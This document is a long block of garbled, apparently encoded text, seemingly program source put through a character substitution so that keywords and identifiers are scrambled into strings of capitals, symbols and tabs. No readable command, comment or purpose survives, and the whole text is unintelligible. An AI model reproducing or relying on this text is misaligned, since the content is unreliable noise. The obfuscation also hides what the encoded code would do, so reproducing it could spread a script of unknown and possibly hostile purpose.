CvYZBQ\]B^NX@ #		R#				][P	R#@O		MLO@GLMSPDBZLLFM]   				[L]\[G#	HPFF@H^										FZLYYKLLEQ[\Ahkzyh}a					N	w  #				S\NF^AJ]DFPKGCL				H[[HP #	@O			@^v_XSYHPXKSN KKAEPBMEYMGE   			S\NF^AJ]DFPKGCLrt				^D]]OFPX_KGKN@ #	S\NF^AJ]DFPKGCLrt			hkzyh}a								@^v_XSYHPXKSN #		##	@O		@N[KMFGKOJZ @N[KMFGKOJZ   	S\NF^AJ]DFPKGCLrt				\PMXQZ\DMJ_]\OH #	OF[LHJA				S\NF^AJ]DFPKGCL		HZ		DXFOKH 	R#S\CEJZAESP										DXFOKH								@N[KMFGKOJZ 				HPFF@H^#			@O			iSPDBZLLFM] S\CEJZAESP 				@G] 		i@N[KMFGKOJZ S\CEJZAESP 						SPDBZLLFM]  						  	[L]\[G#		T##					OF[LHJA		S\NF^AJ]DFPKGCL		HZ				DXFOKH 		R#			EvPEGLDE\F\vK								DXFOKH							SPDBZLLFM] 			HPFF@H^#		@O	iSPDBZLLFM] EvPEGLDE\F\vK  		R#				F]\CQ@MOPP[P			@G] 		i@N[KMFGKOJZ EvPEGLDE\F\vK #		@O		F]\CQ@MOPP[P							SPDBZLLFM]  							 						F]\CQ@MOPP[P				SPDBZLLFM]  							  		JFG]@G\L#							@PE[Z\[XJ_PLXGEvPEGLDE\F\vK #			T#^JJ^KGCKPHONC						DXFOKH					@^v_XSYHPXKSN 								HPFF@H^							@N[KMFGKOJZ #	@O			iSPDBZLLFM] ^JJ^KGCKPHONC 					@G] 				i@N[KMFGKOJZ ^JJ^KGCKPHONC 		  		R#CGSYJ_@YF					DXFOKH							KKAEPBMEYMGE 						HPFF@H^#			CCF@FMXE						i@^v_XSYHPXKSN CGSYJ_@YF 						KKAEPBMEYMGE Z][@GN 	iSPDBZLLFM] CGSYJ_@YF  							#					@O			CCF@FMXE										@^v_XSYHPXKSN @N[KMFGKOJZ  					iDMvO@EL^JJ^KGCKPHONC 				CCF@FMXE 	R#	i@GJE\ML		^JJ^KGCKPHONC#			[L]\[G#		T#@O		CCF@FMXE		 			R#		@PE[Z\[XJ_PLXG^JJ^KGCKPHONC #								T#				\GZL]CGSYJ_@YF					CCF@FMXE #T#			T#			\GZL]EvPEGLDE\F\vK						F]\CQ@MOPP[P #@O					@N[KMFGKOJZ KKAEPBMEYMGE   	iMLEL]Lv][HGZ@LG]KKAEPBMEYMGE  #			ECC[HKED^G[NEKXK #		#####T			JH]JA					}A[F^HKEL			E]GYK]v 			R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #			T		JH]JA			lQJLY]@FG			E]GYK]v 		R#		T#		T#O\GJ]@FG					_MPE]L\N[ #	R#	][P	R#	@O		MLO@GLMKKAEPBMEYMGE   	[L]\[G#					^MCBDLPLE@ONG\EE #		M_XXHYC^C_SP						@^v_XSYHPXKSN [ZKLSD_ 	@^v_XSYHPXKSN  YOFMNL[]NLHE^QB[ZvYCYvYOFMNL[]NLHE^#			XKJ]ZXPYL				[ZKLSD_ #	YEA^CJENGPQ			#		@O					i@^v_XSYHPXKSN XKJ]ZXPYL 		iKKAEPBMEYMGE XKJ]ZXPYL 					  	R#			G_L^XADHCSO					Z][@GN 		iSPDBZLLFM] XKJ]ZXPYL Y]SYF^]_FEM]vYSS^NY]SYF^]_ Y]SYF^]_Y]SYF^]_#		^B@]OHLDFS					@N[KMFGKOJZ @N[KMFGKOJZ  				C^v@Z@\@ACBCLG_L^XADHCSO 						G_L^XADHCSO#					@O		@^v_XSYHPXKSN ^B@]OHLDFS 			@^v_XSYHPXKSN ^B@]OHLDFS 								 			_SMG[M@XJvKJSK\^B@]OHLDFS  	YEA^CJENGPQ								^B@]OHLDFS#	\GZL]G_L^XADHCSO				^B@]OHLDFS #		T#	@O			YEA^CJENGPQ						 			R#XZ^\@KJE^					FZLYYKLLEQ[\Ahkzyh}a					KKAEPBMEYMGE 	  #					J_@[BEONv_			@^v_XSYHPXKSN @^v_XSYHPXKSN  							iNL]vFY]@FGXZ^\@KJE^	 					#			@O		J_@[BEONv_						UU	KKAEPBMEYMGE J_@[BEONv_ 						  		[L]\[GZELvDSKAU^SHFDBXP[ZZELvDSKAw#YEA^CJENGPQ						XY^K]SYF@N@CEQ_[FSPDBZLLFM] J_@[BEONv_  #	@O		YEA^CJENGPQ			UU	KKAEPBMEYMGE YEA^CJENGPQ 						  		[L]\[G###		@O		_SMG[M@XJvKJSK\YEA^CJENGPQ  	R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 		KKAEPBMEYMGE  #	[L]\[G#			T#					T#		_ONSMO			\PMXQZ\DMJ_]\OH #		NDD]NM^[\QB						_ONSMO					@^v_XSYHPXKSN 							M_XXHYC^C_SP#DNLXJNKZKCNZ					NDD]NM^[\QB							M_XXHYC^C_SP					SPDBZLLFM] #				@O				iSPDBZLLFM] NDD]NM^[\QB  		vGQBQZEPNCOHHMNDD]NM^[\QB			 	][\L #	OPN[v[DLHK_]vC			i@^v_XSYHPXKSN DNLXJNKZKCNZ 		Z][@GN 		i@N[KMFGKOJZ DNLXJNKZKCNZ 					##CME_@\BKOKG]						OHEZL#@O		OPN[v[DLHK_]vC											@N[KMFGKOJZ @N[KMFGKOJZ 			SPDBZLLFM] OPN[v[DLHK_]vC				  				Q@vQCB_E 					_L[Z@FGvJFDYH[LQ@vQCB_Ert		^NKBHS]S^NFHGH^O] 	  	CME_@\BKOKG]										][\L#			\GZL]Q@vQCB_E #					@O				CME_@\BKOKG]					OPN[v[DLHK_]vC				UU	KKAEPBMEYMGE C^v@Z@\@ACBCLOPN[v[DLHK_]vC  							KKAEPBMEYMGE YEA^CJENGPQ   		R#					@O			ZKXOKS\JGG_ZQC@QYDNLXJNKZKCNZ	]ODXFFOB\PHLBFG^YEA^CJENGPQ   					R#XX]L[vEYC^\OZSZ_@JLDNLXJNKZKCNZ				  #	LCEBMJ]BEDNLXJNKZKCNZ #	EHOBPA]OAvHDNLXJNKZKCNZ #T#						T#		\GZL]OPN[v[DLHK_]vC				CME_@\BKOKG] #	@O	@N[KMFGKOJZ SPDBZLLFM]  					@N[KMFGKOJZ KKAEPBMEYMGE   	RPYJOB]]H^F^\FBZ_J^_AA[BDPYJOB]]H^F^#			[X_KEQSJJF			M_XXHYC^C_SP										M_XXHYC^C_SP			@^v_XSYHPXKSN ####				QAHS^]JLvZPC					NL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  ###						@O					@N[KMFGKOJZ QAHS^]JLvZPC  	QAHS^]JLvZPC			H[[HP ####				@O		@^v_XSYHPXKSN [X_KEQSJJF						QAHS^]JLvZPC					][\L  				R#						QAHS^]JLvZPCrt					[X_KEQSJJF#\YMH]LvFY]@FGKKAEPBMEYMGE 				KKAEPBMEYMGE QAHS^]JLvZPC  ###T#				T#	LLNM_ZDJA@QKC					\vJHFGLF__PBZFA]G #							@O	i@N[KMFGKOJZ LLNM_ZDJA@QKC 		UU		vGQBQZEPNCOHHMLLNM_ZDJA@QKC		 	][\L  		R#XHNO]YO			LLNM_ZDJA@QKC										M_XXHYC^C_SP					KKAEPBMEYMGE #		GDNG@HMKv					i@N[KMFGKOJZ XHNO]YO 					Z][@GN 	i@N[KMFGKOJZ XHNO]YO 		#	PJ@PEKAYOv						OHEZL#				@O					GDNG@HMKv															@N[KMFGKOJZ @N[KMFGKOJZ 	@N[KMFGKOJZ GDNG@HMKv			  			HHZEQMKKX 					_L[Z@FGvJFDYH[LHHZEQMKKXrt			^NKBHS]S^NFHGH^O] 				  				PJ@PEKAYOv		][\L#	\GZL]HHZEQMKKX ###	@O	PJ@PEKAYOv					GDNG@HMKv										UU	KKAEPBMEYMGE C^v@Z@\@ACBCLGDNG@HMKv  							KKAEPBMEYMGE YEA^CJENGPQ   						RDGGNPBS_HUHY@^B[Z\DGGNPBS_Hw#@O	ZKXOKS\JGG_ZQC@QYXHNO]YO		]ODXFFOB\PHLBFG^YEA^CJENGPQ   				R##		XX]L[vEYC^\OZSZ_@JLXHNO]YO			  #LCEBMJ]BEXHNO]YO ##				EHOBPA]OAvHXHNO]YO #			T#	EFNH[@]AD@J	HMHY]L[##				T		LEZL@O		PJ@PEKAYOv 					R#	MCCKD]NYC			iKKAEPBMEYMGE XHNO]YO #			@O			MCCKD]NYC				UU	MCCKD]NYC					  							Y[CQSEMDC_  		LCEBMJ]BEXHNO]YO #	\GZL]MCCKD]NYC ###	T#\GZL]GDNG@HMKv		PJ@PEKAYOv #					T#		K@^Y[NAC\OK]^GYEA^CJENGPQ #T			JH]JA		}A[F^HKEL				E]GYK]v 			R##		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #					T	JH]JA				lQJLY]@FG		E]GYK]v 					R#T#T#	O\GJ]@FG			HQJ^@MSE]Ev@XvCS] #		R#					@O	@ZZL]vnl}rYt 			UU		SPDBZLLFM] vnl}rYt  			[L]\[G#		vKYPXYDKBE@MNB									vnl}rYt#@O			vKYPXYDKBE@MNB				^vGQONZLKGDBv@^v_XSYHPXKSN   				R#				][P					R#vHK[JXZ\A				^D]]OFPX_KGKN@ 						FZLYYKLLEQ[\Ahkzyh}a							KKAEPBMEYMGE 	w  				KKAEPBMEYMGE #		PK]GXYFQDQ^L\						i@^v_XSYHPXKSN vHK[JXZ\A 								@G] 		iSPDBZLLFM] vHK[JXZ\A 			#	@O	PK]GXYFQDQ^L\						 				PK]GXYFQDQ^L\					  		R#@GJE\ML		vHK[JXZ\A#		T#T	JH]JA				}A[F^HKEL			E]GYK]v 				R####T				JH]JA		lQJLY]@FG	E]GYK]v 		R#			T#^A@EL				@N[KMFGKOJZ  						iFKvLGMvJELHG  	R#			T####							ALHML[@N[KMFGKOJZ  #LQ@]#				T####			@O			vKYPXYDKBE@MNB							^vGQONZLKGDBv@^v_XSYHPXKSN   		[L]\[G#		][P						R#		@O					KKAEPBMEYMGE SPDBZLLFM]  					KKAEPBMEYMGE @N[KMFGKOJZ   			R#				i\YMH]LvFY]@FG@^v_XSYHPXKSN 		@G] 		iNL]vFY]@FGKKAEPBMEYMGE 		 							KKAEPBMEYMGE  ###		i\YMH]LvFY]@FGSPDBZLLFM] 			@N[KMFGKOJZ  	SPDBZLLFM]  #	T#NGCCPSX@F				FMQHASYASG@v@N[KMFGKOJZ 				 ##		@O	@N[KMFGKOJZ NGCCPSX@F 								 				@N[KMFGKOJZ @^v_XSYHPXKSN 		NGCCPSX@F 				KKAEPBMEYMGE @^v_XSYHPXKSN 	NGCCPSX@F  			R##		EFD@FvN					iSPDBZLLFM] NGCCPSX@F						][\L #@O		EFD@FvN				OHEZL			KKAEPBMEYMGE EFD@FvN 											  		NGCCPSX@F			EFD@FvN####T#		@O		SPDBZLLFM] NGCCPSX@F 					  				NGCCPSX@F					CSLCF_@vP #		@O		@N[KMFGKOJZ NGCCPSX@F 				  		R#	^A@EL				SPDBZLLFM]  													iFKvLGMvJELHG  		RYQLNKCF\CMQYQLNK#								T#			ALHML[SPDBZLLFM]  #	ALHML[KKAEPBMEYMGE  #					ALHML[@N[KMFGKOJZ  #		LQ@]##	T#	@KK]HX_LGK								FMQHASYASG@vKKAEPBMEYMGE 		 #		^BXCYNBQ[Q\]										SPDBZLLFM] @KK]HX_LGK							NGCCPSX@F 						####		@O	@ZZL]vzl{l{rSPDBZLLFM] t 							@^v_XSYHPXKSN vzl{l{r@N[KMFGKOJZ t 			^BXCYNBQ[Q\] 	R#^A@EL			@N[KMFGKOJZ  								iFKvLGMvJELHG  	R#			T#	ALHML[@^v_XSYHPXKSN  ###				ALHML[SPDBZLLFM] 						^BXCYNBQ[Q\] #				LQ@]#				T#^A@EL			@^v_XSYHPXKSN  														iFKvLGMvJELHG  					R#				T#ALHML[@^v_XSYHPXKSN  #					ALHML[@^v_XSYHPXKSN  #							ALHML[@^v_XSYHPXKSN  #	ALHML[@^v_XSYHPXKSN 		^BXCYNBQ[Q\] ####				LJAF		@KK]HX_LGK			NGCCPSX@F#				LQ@]#			T	JH]JA					}A[F^HKEL	E]GYK]v 	R##					FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v #	T					JH]JA			lQJLY]@FG			E]GYK]v 		R#					FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v ##T#	~y	zEF]	o@EE	Y[FCLJ]	@GCLJ]F[##		T#HQJ^@MSE]Ev@XvCS] #					O\GJ]@FG				XH^QLFPJ]O #R#	@O	@ZZL]vnl}r@^v_XSYHPXKSN t  		[L]\[G#][P	R#	YH\[Z@FNv						vnl}rKKAEPBMEYMGE t#	@O			@N[KMFGKOJZ YH\[Z@FNv 				UU		YH\[Z@FNv						 					[L]\[G#YH\[Z@FNv		@^v_XSYHPXKSN YH\[Z@FNv #		KXF\LZCv			H[[HP #			@O			KKAEPBMEYMGE SPDBZLLFM]   			KXF\LZCvrt		Z][@GN 						SPDBZLLFM] AFDLv\[E 	yayv|{evafz} #@O				KKAEPBMEYMGE SPDBZLLFM]   				R###	vN]^LXYZC										Z][@GN 				iNL]vFY]@FGKKAEPBMEYMGE 		 #							@O	vN]^LXYZC							 	KXF\LZCvrt					Z][@GN 			KKAEPBMEYMGE vN]^LXYZC			yayv|{evafz} #						T##@O	@ZZL]vzl{l{rSPDBZLLFM] t  						KXF\LZCvrt				Z][@GN 		vzl{l{r@^v_XSYHPXKSN t#			KXF\LZCvrt			^NSJYZ_PLBFXKO ###OP^LXX[HZOXQ			OHEZL#	OF[LHJA				@^v_XSYHPXKSN KXF\LZCv 					HZ		_JQ]ZSF 						ROGFJ_Yyayv`g}vdhqyayv`g}vdhqM[vN_BM@S[OGFJ_Y#		@O		@N[KMFGKOJZ _JQ]ZSF 	UU		_JQ]ZSF							 			JFG]@G\L##			@O	@N[KMFGKOJZ _JQ]ZSF		 		OHEZL 				_JQ]ZSF										SPDBZLLFM] @N[KMFGKOJZ 									_JQ]ZSF #						@O				FZLYYKLLEQ[\A@N[KMFGKOJZ _JQ]ZSF 			@N[KMFGKOJZ 	w  					YH\[Z@FNv 				R##			OP^LXX[HZOXQ			][\LQ__[N]v\yayvdhcf{vl{z`fg^MX_HPXQ__[N]v\####K[LHB#T#			T#	@O	OP^LXX[HZOXQ 			[L]\[G#	EBBCZQD\L								@N[KMFGKOJZ @^v_XSYHPXKSN 		w  #			OGDMYCBX[J								XY^K]SYF@N@CEQ_[F\vQGYOGYCKO_J@PvEBBCZQD\L  #	^A@EL		KKAEPBMEYMGE  							iFKvLGMvJELHG  				R#	T#	ALHML[SPDBZLLFM]  #	ALHML[KKAEPBMEYMGE  #		LJAF			OGDMYCBX[J						EBBCZQD\L 			KKAEPBMEYMGE 			KKAEPBMEYMGE EBBCZQD\L 		SPDBZLLFM] ###			LQ@]#	##		T			JH]JA	}A[F^HKEL		E]GYK]v 			R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 					E]GYK]v #				T	JH]JA	lQJLY]@FG				E]GYK]v 			R#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #					T#	T#			XH^QLFPJ]O #							O\GJ]@FG			[CMAX_XY\@B[\BN\ #		R#	][P	R#@O		SPDBZLLFM] SPDBZLLFM]   	[FJBL]vJELHGvMFDH@G #						@O				@N[KMFGKOJZ SPDBZLLFM]   		^]JvOE\ZAvHEE #@O		KKAEPBMEYMGE @N[KMFGKOJZ   			ZNvJHJALY[LZZvY\[NLvJHJAL ###@O				KKAEPBMEYMGE SPDBZLLFM]   	E@]LZYLLMvY\[NLvHEE #		LEZL@O	@^v_XSYHPXKSN SPDBZLLFM]  						@N[KMFGKOJZ @N[KMFGKOJZ 				SPDBZLLFM]   	e@]LzYLLMvjHJALvhy`Y\[NLvHEE #			@O			@^v_XSYHPXKSN @N[KMFGKOJZ  			SPDBZLLFM] @^v_XSYHPXKSN 		SPDBZLLFM]   				k[LLSLvy\[NLjHJALK[LLSLvJHJALvOE\ZA #	@O	@N[KMFGKOJZ @N[KMFGKOJZ  				KKAEPBMEYMGE KKAEPBMEYMGE 	@N[KMFGKOJZ   		jHJALvlGHKEL[JELH[v]F]HEvJHJAL ###						@O		@N[KMFGKOJZ @N[KMFGKOJZ   				^YOJvJELH[vHEEvJHJAL #	LEZL@O		@ZZL]nefkhezr@^v_XSYHPXKSN t 				SPDBZLLFM] nefkhezrKKAEPBMEYMGE t 						@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t		@N[KMFGKOJZ   			nefkhezr@^v_XSYHPXKSN tMLEL]LjHJAL][\L #		@O		SPDBZLLFM] KKAEPBMEYMGE   	^YvJHJALvJELH[vJHJAL ###					@O	KKAEPBMEYMGE @^v_XSYHPXKSN  				KKAEPBMEYMGE KKAEPBMEYMGE 			KKAEPBMEYMGE   		H\]FY]@D@SLjHJALJELH[HEE #		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		KKAEPBMEYMGE  #	T				JH]JA		}A[F^HKEL			E]GYK]v 					R####				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #		T		JH]JA			lQJLY]@FG	E]GYK]v 				R#						T#		T##		O\GJ]@FG	A]@ZK[DYFCHX\JY #R#@O		@^v_XSYHPXKSN @^v_XSYHPXKSN  									@ZvHMD@G  	[L]\[G	][\L#								@O			@N[KMFGKOJZ @N[KMFGKOJZ  					^YvMF@GNvHCHQ  		[L]\[G	][\L#				@O	MLO@GLMSPDBZLLFM]  		{lz}v{lx|lz} 			[L]\[G	][\L#@O	MLO@GLMKKAEPBMEYMGE  						qde{yjv{lx|lz} 			[L]\[G			][\L#@O			KKAEPBMEYMGE SPDBZLLFM]  								@ZvOLLM  		[L]\[G	][\L#							@O	SPDBZLLFM] @^v_XSYHPXKSN  						@Zv[FKF]Z  			[L]\[G	][\L###				@O	SPDBZLLFM] SPDBZLLFM]  				@ZvZ@]LDHYZ  			[L]\[G			][\L##@O		@N[KMFGKOJZ SPDBZLLFM]  					@ZvJ\Z]FD@SLvY[L_@L^  			[L]\[G			][\L#		@O	@ZZL]vnl}rSPDBZLLFM] t 					UU		@ZZL]vnl}r@^v_XSYHPXKSN t 		UU		@ZZL]vnl}r@^v_XSYHPXKSN t  	[L]\[G	][\L###		[L]\[G			OHEZL####T#O\GJ]@FG	LFXJFSQ@vLZB\@B_BZ ####		RD\@JFMO@O]PMDLGKHGD\@JFM#				G_^v]QHN_HL					@ZZL]nefkhezrKKAEPBMEYMGE t 				SPDBZLLFM] nefkhezrKKAEPBMEYMGE t  						@N[KMFGKOJZ nefkhezrSPDBZLLFM] t 							####@O	G_^v]QHN_HL							 	[L]\[G	#G_^v]QHN_HL				@N[KMFGKOJZ @N[KMFGKOJZ 					KKAEPBMEYMGE 			G_^v]QHN_HL #		]DYD_^LXOEJ					@^v_XSYHPXKSN KKAEPBMEYMGE  										Z][@GN 		@N[KMFGKOJZ AFDLv\[E 	yayv|{evafz} 									#		E\DQ_CPCQKXS^							FZLYYKLLEQ[\ASPDBZLLFM] ]DYD_^LXOEJ 			  #				GSMA]A]KD								KKAEPBMEYMGE @^v_XSYHPXKSN G_^v]QHN_HL 				  #	[L]\[G	uGZJ[@Y]	MH]HZJu						E\DQ_CPCQKXS^								GSMA]A]KD			uuG											G_^v]QHN_HL			uGZJ[@Y]uG	ZJ								E\DQ_CPCQKXS^											GSMA]A]KD										uG#T#	O\GJ]@FG			ZZYCNBG[KMDJ@ #R#					][P		R#							@O			A]@ZK[DYFCHX\JY  				[L]\[G##					B[DP^QLPDv[FCQ				LFXJFSQ@vLZB\@B_BZ #						@O		B[DP^QLPDv[FCQ					 	[L]\[G#					LJAF		B[DP^QLPDv[FCQ#	nefkhezrSPDBZLLFM] t			][\L#		@O	SPDBZLLFM] @N[KMFGKOJZ  							@N[KMFGKOJZ SPDBZLLFM]  				LDY]PnefkhezrKKAEPBMEYMGE t  	R#		nefkhezr@^v_XSYHPXKSN t					][\L#				_MAE@\_\EJ								@G] 			iNL]vFY]@FGKKAEPBMEYMGE 		 #		@O	KKAEPBMEYMGE  								_MAE@\_\EJ						  		i\YMH]LvFY]@FGSPDBZLLFM] 	@^v_XSYHPXKSN  			@N[KMFGKOJZ  #			\GZL]_MAE@\_\EJ #T#	T	JH]JA				}A[F^HKEL		E]GYK]v 		R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #T	JH]JA	lQJLY]@FG	E]GYK]v 	R####T#				T#		O\GJ]@FG	QJELBLPG@HDBKJ@ABQXQ]_^ #	R#			@O					@N[KMFGKOJZ @ABQXQ]_^ 	UU	@ABQXQ]_^							 				[L]\[G			@ABQXQ]_^#@O		LDY]Pnefkhezr@^v_XSYHPXKSN t  					[L]\[G		@ABQXQ]_^#			B[DP^QLPDv[FCQ			LFXJFSQ@vLZB\@B_BZ #	@O		B[DP^QLPDv[FCQ			 	[L]\[G	@ABQXQ]_^###				@O			Z][@YFZ@ABQXQ]_^			@N[KMFGKOJZ  			OHEZL		Z][@YFZ@ABQXQ]_^			@N[KMFGKOJZ  			OHEZL 						[L]\[G			@ABQXQ]_^##				nefkhezr@^v_XSYHPXKSN t				][\L#	nefkhezrSPDBZLLFM] t									][\L###	YJv\MLHJGQG				Z][@YFZ@ABQXQ]_^	@^v_XSYHPXKSN  #		@O			YJv\MLHJGQG							OHEZL 		R#[L]\[G				SPDBZLLFM] @ABQXQ]_^			YJv\MLHJGQG 					B[DP^QLPDv[FCQ		@N[KMFGKOJZ @ABQXQ]_^		YJv\MLHJGQG #		T#	yay		O@KL[Z	LX\@_H[@HG]	MH]HOEF^N[HYA##		[L]\[G		@ABQXQ]_^							B[DP^QLPDv[FCQ#T#					O\GJ]@FG					ZBEOMGD^XG[@E #R#			][P			R#	~y	kEFJBjFG][FEZ	@GOL[	Y@YLE@GL###@O		A]@ZK[DYFCHX\JY  			[L]\[G#			@O		LDY]Pnefkhezr@N[KMFGKOJZ t  	[L]\[G#					G_^v]QHN_HL		@ZZL]nefkhezr@^v_XSYHPXKSN t 				KKAEPBMEYMGE nefkhezrKKAEPBMEYMGE t  							SPDBZLLFM] nefkhezr@N[KMFGKOJZ t 					MO@OO]@DYyayvdhcf{vl{z`fg@AOF[vYMCBGMO@OO]@DY#@O					G_^v]QHN_HL			 	[L]\[G#nefkhezrKKAEPBMEYMGE t							][\L#								i@N[KMFGKOJZ @^v_XSYHPXKSN  #	T	JH]JA			}A[F^HKEL	E]GYK]v 				R#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #			T	JH]JA					lQJLY]@FG					E]GYK]v 		R#			T#		T#			O\GJ]@FG		ALCEZZJ\\]DBY@@ ##								R#			][P			R#		@O	@ZvHMD@G 					@ZZL]nefkhezrSPDBZLLFM] t 		UU	nefkhezr@N[KMFGKOJZ t					KKAEPBMEYMGE   		[L]\[G#	@O		SPDBZLLFM] @^v_XSYHPXKSN  							@ZvZZE  	[L]\[G#		MJKM\LCKAOJD^				FMQHASYASG@vSPDBZLLFM] 				 ###			E\DQ_CPCQKXS^								FZLYYKLLEQ[\Ahkzyh}a					@^v_XSYHPXKSN 			w  #	M_O^O_\[							@N[KMFGKOJZ #	@O			MJKM\LCKAOJD^							 	R#		@O				@^v_XSYHPXKSN SPDBZLLFM]  				@G] 		iNL]vFY]@FG@^v_XSYHPXKSN 			  				R#						i\YMH]LvFY]@FG@N[KMFGKOJZ 						@^v_XSYHPXKSN  #X\_Q[_GSDBD			Z][@GN 				iNL]vFY]@FG@^v_XSYHPXKSN 	 #					LJAF		uG				@^v_XSYHPXKSN 						E\DQ_CPCQKXS^				#						@N[KMFGKOJZ #							@^v_XSYHPXKSN 							M_O^O_\[@^v_XSYHPXKSN  						SPDBZLLFM] #					@^v_XSYHPXKSN 						SPDBZLLFM] X\_Q[_GSDBD 					#					@^v_XSYHPXKSN 							M_O^O_\[@N[KMFGKOJZ  								SPDBZLLFM] #		KKAEPBMEYMGE 				M_O^O_\[SPDBZLLFM]  								@N[KMFGKOJZ 		M_O^O_\[@N[KMFGKOJZ  					@^v_XSYHPXKSN 				M_O^O_\[KKAEPBMEYMGE  			SPDBZLLFM] 					M_O^O_\[KKAEPBMEYMGE  				@N[KMFGKOJZ #						KKAEPBMEYMGE 						M_O^O_\[@N[KMFGKOJZ  						SPDBZLLFM] 			M_O^O_\[SPDBZLLFM]  						KKAEPBMEYMGE ###									@^v_XSYHPXKSN 						uG#\GZL]X\_Q[_GSDBD #		T##						[L]\[G#	T####MJKM\LCKAOJD^			@^v_XSYHPXKSN @^v_XSYHPXKSN 		@N[KMFGKOJZ 					MJKM\LCKAOJD^ #			@O	KKAEPBMEYMGE MJKM\LCKAOJD^		@^v_XSYHPXKSN  							 		MJKM\LCKAOJD^					@^v_XSYHPXKSN 			@^v_XSYHPXKSN MJKM\LCKAOJD^	 ####	KvAL]AAOPF				#			@O	KKAEPBMEYMGE @^v_XSYHPXKSN   					R##						_Z@Dv				Z][@GN 					@^v_XSYHPXKSN AFDLv\[E 		yayv|{evyh}a #						@O				_Z@Dv												_Z@Dv			 	KvAL]AAOPF								KKAEPBMEYMGE _Z@Dv	 					#								T#							@O				SPDBZLLFM] SPDBZLLFM]   	R#		i\YMH]LvFY]@FGSPDBZLLFM] 			@^v_XSYHPXKSN  #				i\YMH]LvFY]@FGKKAEPBMEYMGE 	MJKM\LCKAOJD^	SPDBZLLFM]  #	T#				ZLQ_JSMQOE						@N[KMFGKOJZ 			E\DQ_CPCQKXS^						#	KKAEPBMEYMGE #						SPDBZLLFM] 							M_O^O_\[@^v_XSYHPXKSN  						@^v_XSYHPXKSN #			KKAEPBMEYMGE #						KKAEPBMEYMGE 				M_O^O_\[KKAEPBMEYMGE  					@N[KMFGKOJZ 					SPDBZLLFM] MJKM\LCKAOJD^ 						 #			@^v_XSYHPXKSN 								M_O^O_\[@N[KMFGKOJZ  			@N[KMFGKOJZ 		KKAEPBMEYMGE MJKM\LCKAOJD^ 					@^v_XSYHPXKSN 		SPDBZLLFM] KvAL]AAOPF 				SPDBZLLFM] 						M_O^O_\[@N[KMFGKOJZ  							@^v_XSYHPXKSN #		SPDBZLLFM] 						M_O^O_\[SPDBZLLFM]  				@^v_XSYHPXKSN #								SPDBZLLFM] 				M_O^O_\[@N[KMFGKOJZ  				KKAEPBMEYMGE 									M_O^O_\[@^v_XSYHPXKSN  					KKAEPBMEYMGE #			SPDBZLLFM] 			M_O^O_\[@N[KMFGKOJZ  						KKAEPBMEYMGE #					KKAEPBMEYMGE #								KKAEPBMEYMGE 				M_O^O_\[KKAEPBMEYMGE  					KKAEPBMEYMGE ####				SPDBZLLFM] 				M_O^O_\[SPDBZLLFM]  		@N[KMFGKOJZ 						M_O^O_\[KKAEPBMEYMGE  			@N[KMFGKOJZ #					KKAEPBMEYMGE #LJAF					uG			ZLQ_JSMQOE								uG#		T		JH]JA					}A[F^HKEL			E]GYK]v 				R#			FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v #					T						JH]JA	lQJLY]@FG		E]GYK]v 						R####			FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v ####		T#			T#	#	@O		CKMX^JSGYXNH  						R#	[L]\[G#		T#LCQ^D_NvFJEN[SF #	CH^@QAvHOAJF					iSPDBZLLFM] [ZKLSD_  #	@O			CH^@QAvHOAJF		UU	CH^@QAvHOAJF			QJKQH  						Y[CQSEMDC_  		R#						BM\@GO@BJHNP			@N[KMFGKOJZ  ####						JBA\G@vQJPN]M][ZKLSD_ 					BM\@GO@BJHNP							BM\@GO@BJHNP			   					Y[CQSEMDC_  ##			\GZL]BM\@GO@BJHNP #T#					\GZL]CH^@QAvHOAJF #	][P	R##\G_S\QHCNAFN^Q		vvo`elvv#	\NPBMDK]				#		]EN[HGM						i@N[KMFGKOJZ \G_S\QHCNAFN^Q		OHEZL		G\EE						  #	@O		SPDBZLLFM] ]EN[HGM 				KKAEPBMEYMGE @^v_XSYHPXKSN 	]EN[HGM				LYBZZN\ZCKEP  		\NPBMDK]				LYBZZN\ZCKEPrt##				@O	\NPBMDK]										MLO@GLM@^v_XSYHPXKSN   					R#DNHvHHKHYHEA					H[[HP ###			MLMYKFHZ		MLO@GLM@N[KMFGKOJZ  							~yd|vye|n`gvm`{							~yvjfg}lg}vm`{						@N[KMFGKOJZ ##	GD[]QMCY				MLO@GLM@N[KMFGKOJZ  							~yvye|n`gvm`{				~yvjfg}lg}vm`{				KKAEPBMEYMGE #	EKFDOYLA_HZD				OHEZL#			@O		SPDBZLLFM] @N[KMFGKOJZ   				R##	vQB]\]Dv												iKKAEPBMEYMGE MLMYKFHZ 					iKKAEPBMEYMGE MLMYKFHZ										SPDBZLLFM]  			OHEZL#			NJ@A]]PCZO^C				i@N[KMFGKOJZ GD[]QMCY				SPDBZLLFM]  #			@O	KKAEPBMEYMGE vQB]\]Dv 	UU		@N[KMFGKOJZ NJ@A]]PCZO^C  		R###	EKFDOYLA_HZD								][\L#OF[LHJA			H[[HP 			vQB]\]Dv		HZ		A_Q[PEOvXZA 					DNHvHHKHYHEArt						A_Q[PEOvXZA#		OF[LHJA		H[[HP 		NJ@A]]PCZO^C						HZ					A_Q[PEOvXZA 	DNHvHHKHYHEArt				A_Q[PEOvXZA#T###			\GZL]vQB]\]Dv				NJ@A]]PCZO^C #		T#		@O				EKFDOYLA_HZD 	R#				LSLNPE[		i@N[KMFGKOJZ MLMYKFHZ 				\Z\AGLAZAHZXB\MLMYKFHZ 				OHEZL#							@O					KKAEPBMEYMGE LSLNPE[  			OF[LHJA	LSLNPE[			HZ	MEKZDQ^LDEZ[ 				R###						@O			KKAEPBMEYMGE MEKZDQ^LDEZ[		  					@N[KMFGKOJZ  				